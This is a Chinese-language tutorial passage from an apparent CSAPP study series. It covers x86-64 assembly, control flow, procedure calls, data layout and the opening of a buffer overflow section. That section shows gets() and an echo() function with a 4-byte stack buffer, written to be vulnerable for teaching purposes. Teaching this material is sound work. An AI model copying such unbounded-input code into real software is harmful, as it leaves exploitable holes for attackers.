	for (i = 0; i < len; i++)
		printf("%p\t0x%.2x\n", start+i, start[i]);
	printf("\n");
}


这里 %p 用来输出指针，%x 用来输出 16 进制数据。执行可用：

int a = 15213;
printf("int a = 15213;\n");
show_bytes((pointer) &a, sizeof(int));


在我的电脑上，测试如下：

[image: csapp12]

总结

这一讲，我们从编程的常见误区开始，简要介绍了计算机架构。并从最基本的元素——比特开始，逐步说明了整型和浮点数这两个非常重要的基础数据类型。这之中涉及了类型转换、扩展与截取、运算与溢出。浮点数因为 IEEE 标准与常识的差异，通过具体的例子进行了讲解，最后引出了舍入的概念。

需要注意的是，这部分内容知识点比较零碎，需要通过具体例子去理解。
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        计算机能读懂的只有零和一，而我们用汇编去和计算机『感同身受』。接近硬件底层，很多代码中再平常不过的概念，具体实现起来则并没有看起来那么『理所当然』。这一讲我们会了解程序到底是如何执行的，在知其所以然后，自然可以发现高效代码的秘密。




系列文章

读薄部分


	零 系列概览

	壹 数据表示 - 不同的数据是如何存储与表示的

	贰 机器指令与程序优化 - 控制流、过程调用、缓冲区溢出

	叁 内存与缓存 - 内存层级与缓存机制

	肆 链接 - 不同的代码如何协同

	伍 异常控制流 - 不同进程间的切换与沟通

	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方

	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘

	捌 网络编程 - 从最原始套接字彻底理解网络编程

	玖 并行与同步 - 协同工作中最重要的两个问题



读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习



学习目标


	了解基本的 CPU 架构，以及 CPU 如何进行指令计算

	掌握基本的汇编语法，常见的寻址方式和运算方式

	理解如何通过条件代码进行流程控制

	理解过程调用和递归的底层实现机制

	理解数据在内存中的存储方式

	了解程序在内存中的组织形式以及缓冲区溢出漏洞攻击

	利用代码执行的机制来优化已有代码



这一讲的内容比较多，考虑到现在接触汇编的机会着实不多，部分涉及具体细节的内容有删减，详情请参考书本。

基础知识

从 8086 到 Core i7

1978 年，Intel 发布了第一款 x86 指令集的微处理器——Intel 8086[1]，以此拉开了 Intel x86 系列发展的序幕。8086 是 16 位微处理器，主要为 IBM PC 和 DOS 设计，有 1MB 的地址空间。八年后的 1985，第一个 32 位 Intel 处理器(IA32) 386 诞生。2004 年，奔腾(Pentium) 4E 成为了第一个 64 位处理器(x86-64)。后来随着摩尔定律在单个核心上达到极限，2006 年 Core 2 成为了第一个多核 Intel 处理器。

多核心的处理器大概长这样：
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随着时代和科技的发展，处理器除了支持最基本的运算指令集外，还增加了支持多媒体操作处理和更高效执行条件操作的指令，这部分内容涉及到分支预测[2]（又是一个很有意思但是没时间写的话题），因为篇幅关系不再赘述，简单来说就是研究人员为了让处理器效率提升采用了各种各样的方法，可能只是为了 1% 的提升。

除了增加处理器本身的功能外，另外的趋势是集成，比如说 2015 年的 Core i7 Broadwell，可以从下图看到处理器芯片中加入了原来主板才有的许多部件，如 PCIe, SATA, DDR3 等等。
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顺带说一下千年老二 AMD，主打性价比，研发的 Opteron 系列是 Pentium 4 的强劲对手，并且开发了自己的 64 位拓展 x86-64。

Intel 在 64 位处理器的发展并不算顺风顺水，2001 年本打算使用全新的架构快速从 IA32 转换到 IA64，但是糟糕的性能反倒给了 AMD 机会。后者在 2003 年发布的 x86-64(现在叫 AMD64) 架构明显更厉害，搞得 Intel 疲于应战，最后在 2004 年搞出来一个叫 EM64T 的东西，其实几乎和 AMD64 一样。现在除了某些低端的处理器，几乎都支持 x86-64，也是这一讲主要介绍的内容。

从 C 到机器代码

机器代码就是处理器能够直接执行的字节层面上的程序，但是对于人类来说基本上是不可读的，所以把字节按照具体含义进行『翻译』，就成了人类可读的汇编代码。注意这里的用词是『翻译』而不是『编译』，可以认为汇编代码就是机器代码的可读形式。

机器代码和 C 代码应用两套完全不同的逻辑，机器代码是纯粹从『执行』的方式来进行思考的，而 C 的话则因为较多的抽象有了『程序设计』这个概念。相信读完这一节之后，你就会意识到为什么 C 语言的出现，可以称得上计算机学科的『第二次工业革命』。

一门新语言绝非只是一套语法规则，而是一系列配套的工具加上语法规则。C 语言代码最终成为机器可执行的程序，会像流水线上的产品一样接受各项处理：


	C 语言代码(da.c, wang.c)经过编译器的处理(gcc -0g -S)成为汇编代码(da.s, wang.s)

	汇编代码(da.s, wang.s)经过汇编器的处理(gcc 或 as)成为对象程序(da.o, wang.o)

	对象程序(da.o, wang.o)以及所需静态库(lib.a)经过链接器的处理(gcc 或 ld)最终成为计算机可执行的程序



我们直接来看一段代码及其经过编译生成的汇编代码，可能会有些难以理解，这是正常的，因为还没有介绍处理器具体执行指令的机制。这里我们先有一个感性的认识即可。

// 代码文件: sum.c
long plus(long x, long y);

void sumstore(long x, long y, long *dest)
{
    long t = plus(x, y);
    *dest = t;
}


对应的汇编代码

sumstore:
    pushq   %rbx
    movq    %rbx, %rbx
    call    plus
    movq    %rax, (%rbx)
    popq    %rbx
    ret


比较一下我们就发现，C 语言代码被处理成了有统一格式的汇编代码，在汇编代码中，第一个字符串叫做操作符，后面可能跟着 1/2/3 个以逗号分隔的操作数，为什么是以这样的形式呢？这就要从处理器的运算方式讲起了，先来看看处理器是如何配合内存进行计算的：
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	程序计数器(PC, Program counter) - 存着下一条指令的地址，在 x86-64 中称为 RIP

	寄存器(Register) - 用来存储数据以便操作

	条件代码(Codition codes) - 通常保存最近的算术或逻辑操作的信息，用来做条件跳转



这里需要注意，处理器能够执行的操作其实是非常有限的，简单来说只有三种：存取数据、计算和传输控制。存取数据是在内存和寄存器之间传输数据，进行计算则是对寄存器或者内存中的数据执行算术运算，传输控制主要指非条件跳转和条件分支。这也就是为什么汇编代码有固定的 指令 操作数1 (,操作数2 ,操作数3) 这样的形式了。

我们拿前面程序中的两条指令来具体说明一下从 C 到汇编再到机器代码的变化：

// C 代码
*dest = t;

// 对应的汇编代码
movq    %rax, (%rbx)

// 对应的对象代码
0x40059e:   46 89 03


C 代码的意思很简单，就是把值 t 存储到指针 dest 指向的内存中。对应到汇编代码，就是把 8字节（也就是四个字, Quad words）移动到内存中（这也就是为什叫做 movq）。t 的值保存在寄存器 %rax 中，dest 指向的地址保存在 %rbx 中，而 *dest 是取地址操作，对应于在内存中找到对应的值，也就是 M[%rbx]，在汇编代码中用小括号表示取地址，即 (%rbx)。最后转换成 3 个字节的指令，并保存在 0x40059e 这个地址中。

汇编入门

前面我们简要了解了一下程序执行的基本过程，也对汇编有了一点点认识，这一节我们从寄存器的相关知识讲起，介绍汇编的基本知识。这部分内容虽然在实际编程中几乎用不到，但是对于后面内容的理解非常重要。

x86-64 架构中的整型寄存器如下图所示（暂时不考虑浮点数的部分）
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仔细看看寄存器的分布，我们可以发现有不同的颜色以及不同的寄存器名称，黄色部分是 16 位寄存器，也就是 16 位处理器 8086 的设计，然后绿色部分是 32 位寄存器（这里我是按照比例画的），给 32 位处理器使用，而蓝色部分是为 64 位处理器设计的。这样的设计保证了令人震惊的向下兼容性，几十年前的 x86 代码现在仍然可以运行！

前六个寄存器(%rax, %rbx, %rcx, %rdx, %rsi, %rdi)称为通用寄存器，有其『特定』的用途：


	%rax(%eax) 用于做累加

	%rcx(%ecx) 用于计数

	%rdx(%edx) 用于保存数据

	%rbx(%ebx) 用于做内存查找的基础地址

	%rsi(%esi) 用于保存源索引值

	%rdi(%edi) 用于保存目标索引值



而 %rsp(%esp) 和 %rbp(%ebp) 则是作为栈指针和基指针来使用的。下面我们通过 movq 这个指令来了解操作数的三种基本类型：立即数(Imm)、寄存器值(Reg)和内存值(Mem)。

对于 movq 指令来说，需要源操作数和目标操作数，源操作数可以是立即数、寄存器值或内存值的任意一种，但目标操作数只能是寄存器值或内存值。指令的具体格式可以这样写 movq [Imm|Reg|Mem], [Reg|Mem]，第一个是源操作数，第二个是目标操作数，例如：


	movq Imm, Reg -> mov $0x5, %rax -> temp = 0x5;

	movq Imm, Mem -> mov $0x5, (%rax) -> *p = 0x5;

	movq Reg, Reg -> mov %rax, %rdx -> temp2 = temp1;

	movq Reg, Mem -> mov %rax, (%rdx) -> *p = temp;

	movq Mem, Reg -> mov (%rax), %rdx -> temp = *p;



这里有一种情况是不存在的，没有 movq Mem, Mem 这个方式，也就是说，我们没有办法用一条指令完成内存间的数据交换。

上面的例子中有些操作数是带括号的，括号的意思就是寻址，这也分两种情况：


	普通模式，(R)，相当于 Mem[Reg[R]]，也就是说寄存器 R 指定内存地址，类似于 C 语言中的指针，语法为：movq (%rcx), %rax 也就是说以 %rcx 寄存器中存储的地址去内存里找对应的数据，存到寄存器 %rax 中

	移位模式，D(R)，相当于 Mem[Reg[R]+D]，寄存器 R 给出起始的内存地址，然后 D 是偏移量，语法为：movq 8(%rbp),%rdx 也就是说以 %rbp 寄存器中存储的地址再加上 8 个偏移量去内存里找对应的数据，存到寄存器 %rdx 中



因为寻址这个内容比较重要，所以多说两句，不然之后接触指针会比较吃力。对于寻址来说，比较通用的格式是 D(Rb, Ri, S) -> Mem[Reg[Rb]+S*Reg[Ri]+D]，其中：


	D - 常数偏移量

	Rb - 基寄存器

	Ri - 索引寄存器，不能是 %rsp

	S - 系数



除此之外，还有如下三种特殊情况


	(Rb, Ri) -> Mem[Reg[Rb]+Reg[Ri]]

	D(Rb, Ri) -> Mem[Reg[Rb]+Reg[Ri]+D]

	(Rb, Ri, S) -> Mem[Reg[Rb]+S*Reg[Ri]]



我们通过具体的例子来巩固一下，这里假设 %rdx 中的存着 0xf000，%rcx 中存着 0x0100，那么


	0x8(%rdx) = 0xf000 + 0x8 = 0xf008

	(%rdx, %rcx) = 0xf000 + 0x100 = 0xf100

	(%rdx, %rcx, 4) = 0xf000 + 4*0x100 = 0xf400

	0x80(, %rdx, 2) = 2*0xf000 + 0x80 = 0x1e080



了解了寻址之后，我们来看看运算指令，这里以 leaq 指令为例子。具体格式为 leaq Src, Dst，其中 Src 是地址的表达式，然后把计算的值存入 Dst 指定的寄存器，也就是说，无须内存引用就可以计算，类似于 p = &x[i];。我们来看一个具体的例子，假设一个 C 函数是：

long m12(long x)
{
    return x * 12;
}


对应的汇编代码为：

leaq (%rdi, %rdi, 2), %rax # t <- x+x*2
salq $2, %rax              # return t << 2


可以看到是直接对 %rdi 寄存器中存的数据（地址）进行运算，然后赋值给 %rax。最后给出一些常见的算术运算指令，注意参数的顺序，而且对于有符号和无符号数都是一样的，更多的信息可以参考 Intel 官方文档[3]。

需要两个操作数的指令


	addq Src, Dest -> Dest = Dest + Src

	subq Src, Dest -> Dest = Dest - Src

	imulq Src, Dest -> Dest = Dest * Src

	salq Src, Dest -> Dest = Dest << Src

	sarq Src, Dest -> Dest = Dest >> Src

	shrq Src, Dest -> Dest = Dest >> Src

	xorq Src, Dest -> Dest = Dest ^ Src

	andq Src, Dest -> Dest = Dest & Src

	orq Src, Dest -> Dest = Dest | Src



需要一个操作数的指令


	incq Dest -> Dest = Dest + 1

	decq Dest -> Dest = Dest - 1

	negq Dest -> Dest = -Dest

	notq Dest -> Dest = ~Dest



流程控制

我们先来回顾一下 x86-64 处理器中不同的寄存器，这一部分很重要，务必要弄明白
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首先要理解的是，寄存器中存储着当前正在执行的程序的相关信息：


	临时数据存放在 (%rax, …)

	运行时栈的地址存储在 (%rsp) 中

	目前的代码控制点存储在 (%rip, …) 中

	目前测试的状态放在 CF, ZF, SF, OF 中



条件代码与跳转

最后的四个标识位（CF, ZF, SF, OF）就是用来辅助程序的流程控制的，意思是：


	CF: Carry Flag (针对无符号数)

	ZF: Zero Flag

	SF: Sign Flag (针对有符号数)

	OF: Overflow Flag (针对有符号数)



可以看到以上这四个标识位，表示四种不同的状态，举个例子，假如我们有一条诸如 t = a + b 的语句，汇编之后假设用的是 addq Src, Dest，那么根据这个操作结果的不同，会相应设置上面提到的四个标识位，而因为这个是执行类似操作时顺带尽心设置的，称为隐式设置，例如：


	如果两个数相加，在最高位还需要进位（也就是溢出了），那么 CF 标识位就会被设置

	如果 t 等于 0，那么 ZF 标识位会被设置

	如果 t 小于 0，那么 SF 标识位会被设置

	如果 2’s complement 溢出，那么 OF 标识位会被设置为 1（溢出的情况是 (a>0 && b > 0 && t <0) || (a<0 && b<0 && t>=0)）



这就发现了，其实这四个条件代码，是用来标记上一条命令的结果的各种可能的，是自动会进行设置的。注意，使用 leaq 指令的话不会进行设置。

除了隐形设置，还可以显式进行设置，具体的方法是使用 cmpq 指令，这里的 q 指的是 64 位的地址。具体来说 cmpq Src2(b), Src1(a) 等同于计算 a-b（注意 a b 顺序是颠倒的），然后利用 a-b 的结果来对应进行条件代码的设置：


	如果在最高位还需要进位（也就是溢出了），那么 CF 标识位就会被设置

	a 和 b 相等时，也就是 a-b 等于零时，ZF 标识位会被设置

	如果 a < b，也就是 (a-b)<0 时，那么 SF 标识位会被设置

	如果 2’s complement 溢出，那么 OF 标识位会被设置（溢出的情况是 (a>0 && b > 0 && t <0) || (a<0 && b<0 && t>=0)）



另一种进行显式设置的方法是使用 testq 指令，具体来说 testq Src2(b), Src1(a) 等同于计算 a&b（注意 a b 顺序是颠倒的），然后利用 a-b 的结果来对应进行条件代码的设置，通常来说会把其中一个操作数作为 mask：


	当 a&b == 0 时，ZF 标识位会被设置

	当 a&b < 0 时，SF 标识位会被设置



有了这四个条件码，就可以通过不同的组合方式，来产生不同的条件判断。

介绍完了条件代码，就可以来看看具体的跳转了，跳转实际上就是根据条件代码的不同来进行不同的操作。我们先来看一个比较原始的例子（编译器没有进行优化）：

long absdiff(long x, long y)
{
    long result;
    if (x > y)
        result = x-y;
    else
        result = y-x;
    return result;
}


对应的汇编代码如下，这里 %rdi 中保存了参数 x，%rsi 中保存了参数 y，而 %rax 一般用来存储返回值：

absdiff:
    cmpq    %rsi, %rdi
    jle     .L4
    movq    %rdi, %rax
    subq    %rsi, %rax
    ret
.L4:    # x <= y
    movq    %rsi, %rax
    subq    %rdi, %rax
    ret


这里我们是要给出两个数的绝对值的差，所以需要判断谁大谁小。考虑到汇编不算特别直观，这里我们用 goto 语句重写一次，基本上就和汇编出来的代码逻辑类似了，方便之后的讲解：

long absdiff_goto(long x, long y)
{
    long result;
    int ntest = x <= y;
    if (ntest) goto Else;
    result = x-y;
    goto Done;
Else:
    result = y-x;
Done:
    return result;
}


我们再看另一种条件语句要如何翻译，比如 val = Test ? Then_Expr : Else_Expr;，重写上面的函数就是：val = x>y ? x-y : y-x;

转换成 goto 形式就是：

	ntest = !Test;
	if (ntest) goto Else;
	value = Then_Expr;
	goto Done;
Else:
	val = Else_Expr;
Done:
	...


但是实际上汇编出来的代码，并不是这样的，会采用另一种方法来加速分支语句的执行。现在我们先来说一说，为什么分支语句会对性能造成很大的影响。

我们知道现在的 CPU 都是依靠流水线工作的，比方说执行一系列操作需要 ABCDE 五个步骤，那么在执行 A 的时候，实际上执行 B 所需的数据会在执行 A 的同时加载到寄存器中，这样运算器执行外 A，就可以立刻执行 B 而无须等待数据载入。如果程序一直是顺序的，那么这个过程就可以一直进行下去，效率会很高。但是一旦遇到分支，那么可能执行完 A 下一步要执行的是 C，但是载入的数据是 B，这时候就要把流水线清空（因为后面载入的东西都错了），然后重新载入 C 所需要的数据，这就带来了很大的性能影响。为此人们常常用『分支预测』这一技术来解决（分支预测是另一个话题这里不展开），但是对于这类只需要判断一次的条件语句来说，其实有更好的方法。

处理器有一条指令支持 if(Test) Dest <- Src 的操作，也就是说可以不用跳转，利用条件代码来进行赋值，于是编译器在可能的时候会把上面的 goto 程序改成如下：

result = Then_Expr;
eval = Else_Expr;
nt = !Test;
if (nt) result = eval;
return result;


具体的做法是：反正一共就两个分支，我都算出行不行，然后利用上面的条件指令来进行赋值，这样就完美避免了因为分支可能带来的性能问题（需要清空流水线），像下面这样，同样 %rdi 中保存了参数 x，%rsi 中保存了参数 y，而 %rax 一般用来存储返回值：

absdiff:
    movq    %rdi, %rax  # x
    subq    %rsi, %rax  # result = x-y
    movq    %rsi, %rdx
    subq    %rdi, %rdx  # eval = y-x
    cmpq    %rsi, %rdi  # x:y
    cmovle  %rdx, %rax  # if <=, result = eval
    ret


这个方法好是好，但是也有一些情况并不适用于：


	因为会把两个分支的运算都提前算出来，如果这两个值都需要大量计算的话，就得不偿失了，所以需要分支中的计算尽量简单。

	另外在涉及指针操作的时候，如 val = p ? *p : 0;，因为两个分支都会被计算，所以可能导致奇怪问题出现

	最后一种就是如果分支中的计算是有副作用的，那么就不能这样弄 val = x > 0 ? x*= 7 : x+= 3;，这种情况下，因为都计算了，那么 x 的值肯定就不是我们想要的了。



循环

先来看看并不那么常用的 Do-While 语句以及对应使用 goto 语句进行跳转的版本：

// Do While 的 C 语言代码
long pcount_do(unsigned long x)
{
    long result = 0;
    do {
        result += x & 0x1;
        x >>= 1;
    } while (x);
    return result;
}

// Goto 版本
long pcount_goto(unsigned long x)
{
    long result = 0;
loop:
    result += x & 0x1;
    x >>= 1;
    if (x) goto loop;
    return result;
}


这个函数计算参数 x 中有多少位是 1，翻译成汇编如下：

    movl    $0, %eax    # result = 0
.L2:                    # loop:
    movq    %rdi, %rdx
    andl    $1, %edx    # t = x & 0x1
    addq    %rdx, %rax  # result += t
    shrq    %rdi        # x >>= 1
    jne     .L2         # if (x) goto loop
    rep; ret


其中 %rdi 中存储的是参数 x，%rax 存储的是返回值。换成更通用的形式如下：

// C Code
do
	Body
	while (Test);

// Goto Version
loop:
	Body
	if (Test)
		goto loop


而对于 While 语句的转换，会直接跳到中间，如：

// C While version
while (Test)
	Body

// Goto Version
	goto test;
loop:
	Body
test:
	if (Test)
		goto loop;
done:


如果在编译器中开启 -O1 优化，那么会把 While 先翻译成 Do-While，然后再转换成对应的 Goto 版本，因为 Do-While 语句执行起来更快，更符合 CPU 的运算模型。

接着来看看最常用的 For 循环，也可以一步一步转换成 While 的形式，如下

// For
for (Init; Test; Update)
	Body
	
// While Version
Init;
while (Test) {
	Body
	Update;
}


Switch 语句

最后我们来看看最复杂的 switch 语句，这种类型的语句一次判断会有多种可能的跳转路径（知道 CPU 的分支预测会多抓狂吗）。这里用一个具体的例子来进行讲解：

long switch_eg (long x, long y, long z){
	long w = 1;
	switch (x) {
		case 1:
			w = y*z;
			break;
		case 2:
			w = y/z;
			// fall through
		case 3:
			w += z;
			break;
		case 5:
		case 6:
			w -= z;
			break;
		default:
			w = 2;
	}
	return w;
}


这个例子中包含了大部分比较特殊的情况：


	共享的条件：5 和 6

	fall through：2 也会执行 3 的部分（这个要小心，一般来说不这么搞，如果确定要用，务必写上注释）

	缺失的条件：4



具体怎么办呢？简单来说，使用跳转表（你会发现表的解决方式在很多地方都有用：虚函数，继承甚至动态规划），可能会类似如下汇编代码，这里 %rdi 是参数 x，%rsi 是参数 y，%rdx 是参数 z, %rax 是返回值

switch_eg:
    movq    %rdx, %rcx
    cmpq    $6, %rdi    # x:6
    ja      .L8
    jmp     *.L4(, %rdi, 8)


跳转表为

.section    .rodata
    .align 8
.L4:
    .quad   .L8 # x = 0
    .quad   .L3 # x = 1
    .quad   .L5 # x = 2
    .quad   .L9 # x = 3
    .quad   .L8 # x = 4
    .quad   .L7 # x = 5
    .quad   .L7 # x = 6


这里需要注意，我们先跟 6 进行比较（因为 6 是最大的），然后利用 ja 指令进行跳转，为什么，因为如果是负数的话，ja 是处理无符号数的，所以负数情况肯定大于 6，于是直接利用 ja 跳转到 default 的分支。

然后下一句 jmp *.L4(,%rdi, 8) # goto *JTab[x]，是一个间接跳转，通过看上面的跳转列表来进行跳转。

比如说，直接跳转 jmp .L8，就直接跳到 .L8 所在的标签，也就是 x = 0

如果是 jmp *.L4(,%rdi,8) 那么就先找到 .L4 然后往后找 8 个字节（或 8 的倍数），于是就是 0~6 的范围。

通过上面的例子，我们可以大概了解处理 switch 语句的方式：大的 switch 语句会用跳转表，具体跳转时可能会用到决策树（if-elseif-elseif-else）

过程调用

上一节中我们学习了机器是如何利用跳转实现流程控制的，这一节我们来看一个更加复杂的机制：过程调用（也就是调用函数）具体在 CPU 和内存中是怎么实现的。理解之后，对于递归会有更加清晰的认识。

在过程调用中主要涉及三个重要的方面：


	传递控制：包括如何开始执行过程代码，以及如何返回到开始的地方

	传递数据：包括过程需要的参数以及过程的返回值

	内存管理：如何在过程执行的时候分配内存，以及在返回之后释放内存



以上这三点，都是凭借机器指令实现的

栈结构

在 x86-64 中，所谓的栈，实际上一块内存区域，这个区域的数据进出满足先进后出的原则。越新入栈的数据，地址越低，所以栈顶的地址是最小的。下图中箭头所指的就是寄存器 %rsp 的值，这个寄存器是栈指针，用来记录栈顶的位置。
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我们假设一开始 %rsp 为红色，对于 push 操作，对应的是 pushq Src 指令，具体会完成下面三个步骤：


	从地址 Src 中取出操作数

	把 %rsp 中的地址减去 8（也就是到下一个位置）

	把操作数写入到 %rsp 的新地址中 



这个时候 %rsp 就对应蓝色。

重来一次，假设一开始 %rsp 为红色，对于 pop 操作，对应的是 popq Dest 指令，具体会完成下面三个步骤：


	从 %rsp 中存储的地址中读入数据

	把 %rsp 中的地址增加 8（回到上一个位置）

	把刚才取出来的值放到 Dest 中（这里必须是一个寄存器）



这时候 %rsp 就对应黄色。

调用方式

了解了栈的结构之后，我们先通过一个函数调用的例子来具体探索一下过程调用中的一些细节。

// multstore 函数
void multstore (long x, long, y, long *dest)
{
    long t = mult2(x, y);
    *dest = t;
}

// mult2 函数
long mult2(long a, long b)
{
    long s = a * b;
    return s;
}


对应的汇编代码为：

0000000000400540 <multstore>:
    # x 在 %rdi 中，y 在 %rsi 中，dest 在 %rdx 中
    400540: push    %rbx            # 通过压栈保存 %rbx
    400541: mov     %rdx, %rbx      # 保存 dest
    400544: callq   400550 <mult2>  # 调用 mult2(x, y)
    # t 在 %rax 中
    400549: mov     %rax, (%rbx)    # 结果保存到 dest 中
    40054c: pop     %rbx            # 通过出栈恢复原来的 %rbx
    40054d: retq                    # 返回

0000000000400550 <mult2>:
    # a 在 %rdi 中，b 在 %rsi 中
    400550: mov     %rdi, %rax      # 得到 a 的值
    400553: imul    %rsi, %rax      # a * b
    # s 在 %rax 中
    400557: retq                    # 返回


可以看到，过程调用是利用栈来进行的，通过 call label 来进行调用（先把返回地址入栈，然后跳转到对应的 label），返回的地址，将是下一条指令的地址，通过 ret 来进行返回（把地址从栈中弹出，然后跳转到对应地址）

我们『单步调试』来看看具体调用的过程
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	在执行到 400544 那一行的时候 %rsp 指向栈顶（存储着栈顶的地址），%rip 指向当前要执行的指令（也就是 400544）

	在上一步操作完成之后，因为跳转的关系，%rip 指向 mult2 函数开始的地方（也就是 400550），之前的压栈操作也使得栈顶改变（返回值的位置），于是 %rsp 对应进行改变

	接着执行到了 retq 那句，这个时候要做的就是从栈中取出栈顶位置（这样就可以从跳转处继续了），然后对寄存器做对应的修改

	最后恢复到原来的 multstore 函数中继续执行



我们可以发现，函数调用中会利用 %rax 来保存过程调用的返回值，以便程序继续运行的。这就是基本的过程调用的控制流程。

那么过程调用的参数会放在哪里呢？如果参数没有超过六个，那么会放在：%rdi, %rsi, %rdx, %rcx, %r8, %r9 中。如果超过了，会另外放在一个栈中。而返回值会放在 %rax 中。

既然是利用栈来进行函数调用，自然而然就可以推广到递归的情况，而对于每个过程调用来说，都会在栈中分配一个帧 Frames。每一帧里需要包含：


	返回信息

	本地存储（如果需要）

	临时空间（如果需要）



整一帧会在过程调用的时候进行空间分配，然后在返回时进行回收，在 x86-64/Linux 中，栈帧的结构是固定的，当前的要执行的栈中包括：


	Argument Build: 需要使用的参数

	如果不能保存在寄存器中，会把一些本地变量放在这里

	已保存的寄存器上下文

	老的栈帧的指针（可选）



而调用者的栈帧则包括：


	返回地址（因为 call 指令被压入栈的）

	调用所需的参数



具体如下图所示：
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递归

有了前面的的基础，要理解递归就简单很多了，直接上例子

long pcount_r(unsigned long x) {
	if (x == 0)
		return 0;
	else
		return (x & 1) + pcount_r(x >> 1);
}


对应的汇编代码为：

pcount_r:
    mov     $0, %eax
    testq   %rdi, %rdi
    je      .L6
    push    %rbx
    movq    %rdi, %rbx
    andl    $1, %ebx
    shrq    %rdi
    call    pcount_r
    addq    %rbx, %rax
    popq    %rbx
.L6:
    rep; ret


实际执行的过程中，会不停进行压栈，直到最后返回，所以递归本身就是一个隐式的栈实现，但是系统一般对于栈的深度有限制（每次一都需要保存当前栈帧的各种数据），所以一般来说会把递归转换成显式栈来进行处理以防溢出。

数据存储

上一节我们了解了过程调用是如何用机器代码实现的，这一节我们来看看基本的数据是如何存储在计算机中。

第一讲中我们已经学到，不同的数据类型所需要的字节数是不同的，我们先来回顾一下这个表格：




	数据类型
	32 位
	64 位
	x86-64





	char
	1
	1
	1



	short
	2
	2
	2



	int
	4
	4
	4



	long
	4
	8
	8



	float
	4
	4
	4



	double
	8
	8
	8



	long double
	-
	-
	10/16



	指针
	4
	8
	8





我们举几个具体的例子就一目了然了：
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既然是连续的地址空间，就有很多不同的访问方式，比方对于 int val[5] 来说




	引用方式
	类型
	值





	val[4]
	int
	5



	val
	int *
	x



	val+1
	int *
	x+4



	&val[2]
	int *
	x+8



	val[5]
	int
	?? 越界



	*(val+1)
	int
	2



	val+i
	int *
	x + 4i





多维数组

对于多维的数组，基本形式是 T A[R][C]，R 是行，C 是列，如果类型 T 占 K 个字节的话，那么数组所需要的内存是 R*C*K 字节。具体在内存里的排列方式如下：
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具体访问的方式如下：

int get_a_digit(int index, int dig)
{
    return A[index][dig];
}


对应的汇编代码为，这里假设 C = 5

leaq    (%rdi, %rdi, 4), %rax   # 5 * index
addl    %rax, %rsi              # 5 * index + dig
movl    A(, %rsi, 4), %eax      # M[A + 4*(5*index+dig)]


还有另外一种组合数组的方式，不是连续分配，而是存储每个数组的起始地址。与之前连续分配唯一不同之处在于计算元素位置时候不同行对应不连续的起始地址（可能分散在内存的不同部分）。这两种方式在 C 语言中看起来差不多，但对应的汇编代码则完全不同。

结构体

结构体是 C 语言中非常常用的一种机制，具体在内存中是如何存放的呢？我们通过具体的例子来进行学习。比如我们有这样一个结构体：

struct rec 
{
    int a[4];
    size_t i;       
    struct rect *next;
};


那么在内存中的排列是
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如果我们换一下结构体元素的排列顺序，可能就会出现和我们预想不一样的结果，比如

struct S1
{
    char c;
    int i[2];
    double v;
} *p;


因为需要对齐的缘故，所以具体的排列是这样的：
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具体对齐的原则是，如果数据类型需要 K 个字节，那么地址都必须是 K 的倍数，比方说这里 int 数组 i 需要是 4 的倍数，而 v 则需要是 8 的倍数。

感谢网友『光河』的补充：文中讲“具体对齐的原则是，如果数据类型需要 K 个字节，那么地址都必须是 K 的倍数”——这只是windows的原则，而Linux中的对齐策略是“2字节数据类型的地址必须为2的倍数，较大的数据类型（int,double,float）的地址必须是4的倍数”

为什么要这样呢，因为内存访问通常来说是 4 或者 8 个字节位单位的，不对齐的话访问起来效率不高。具体来看的话，是这样：


	1 字节：char, …
	没有地址的限制





	2 字节：short, …
	地址最低的 1 比特必须是 0





	4 字节：int, float, …
	地址最低的 2 比特必须是 00





	8 字节：double, long, char *, …
	地址最低的 3 比特必须是 000





	16 字节：long double (GCC on Linux)
	地址最低的 4 比特必须是 0000







对于一个结构体来说，所占据的内存空间必须是最大的类型所需字节的倍数，所以可能需要占据更多的空间，比如：

struct S2 {
	double v;
	int i[2];
	char c;
} *p;
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根据这种特点，在设计结构体的时候可以采用一些技巧。例如，要把大的数据类型放到前面，加入我们有两个结构体：

struct S4 {
	char c;
	int i;
	char d;
} *p;

struct S5 {
	int i;
	char c;
	char d;
} *p;


对应的排列是：
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这样我们就通过不同的排列，节约了 4 个字节空间，如果这个结构体要被复制很多次，这也是很可观的内存优化。

缓冲区溢出

这一节是机器代码的最后一部分，主要说说由缓冲区溢出引起的攻防大战。我们先来看看程序在内存中是如何组织的（x86-64 Linux）
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最上面是运行时栈，有 8MB 的大小限制，一般用来保存局部变量。然后是堆，动态的内存分配会在这里处理，例如 malloc(), calloc(), new() 等。然后是数据，指的是静态分配的数据，比如说全局变量，静态变量，常量字符串。最后是共享库等可执行的机器指令，这一部分是只读的。

可以见到，栈在最上面，也就是说，栈再往上就是另一个程序的内存范围了，这种时候我们就可以通过这种方式修改内存的其他部分了。

举个例子

typedef struct 
{
    int a[2];
    double d;
} struct_t;

double fun(int i)
{
    volatile struct_t s;
    s.d = 3.14;
    s.a[i] = 1073741824; // 可能会越界
    return s.d;
}


不同的 i 可能的执行结果是：


	fun(0) -> 3.14

	fun(1) -> 3.14

	fun(2) -> 3.1399998664856

	fun(3) -> 2.00000061035156

	fun(4) -> 3.14

	fun(6) -> Segmentation fault



之所以会产生这种错误，是因为访问内存的时候跨过了数组本身的界限修改了 d 的值。你没看错，这是个大问题！如果不检查输入字符串的长度，就很容易出现这种问题，尤其是针对在栈上有界限的字符数组。

在 Unix 中，gets() 函数的实现是这样的：

// 从 stdin 中获取输入
char *gets(char *dest)
{
    int c = getchar();
    char *p = dest;
    while (c != EOF && c != '\n')
    {
        *p++ = c;
        c = getchar();
    }
    *p = '\0';
    return dest;
}


可以看到并没有去检测最多能读入多少字符（于是很容易出问题），类似的情况还在 strcpy, strcat, scanf, fscanf, sscanf 中出现。比如说

void echo() {
	char buf[4]; // 太小
	gets(buf);
	puts(buf);
}

void call_echo() {
	echo();
}


我们来测试一下这个函数，可能的结果是：

unix> ./echodemo
 Input: 012345678901234567890123
Output: 012345678901234567890123

unix> ./echodemo
 Input: 0123456789012345678901234
Segmentation Fault


为什么明明在 echo() 中声明 buf 为 4 个 char，居然一开始输入这么多都没问题？我们到汇编代码里去看看：

00000000004006cf <echo>:
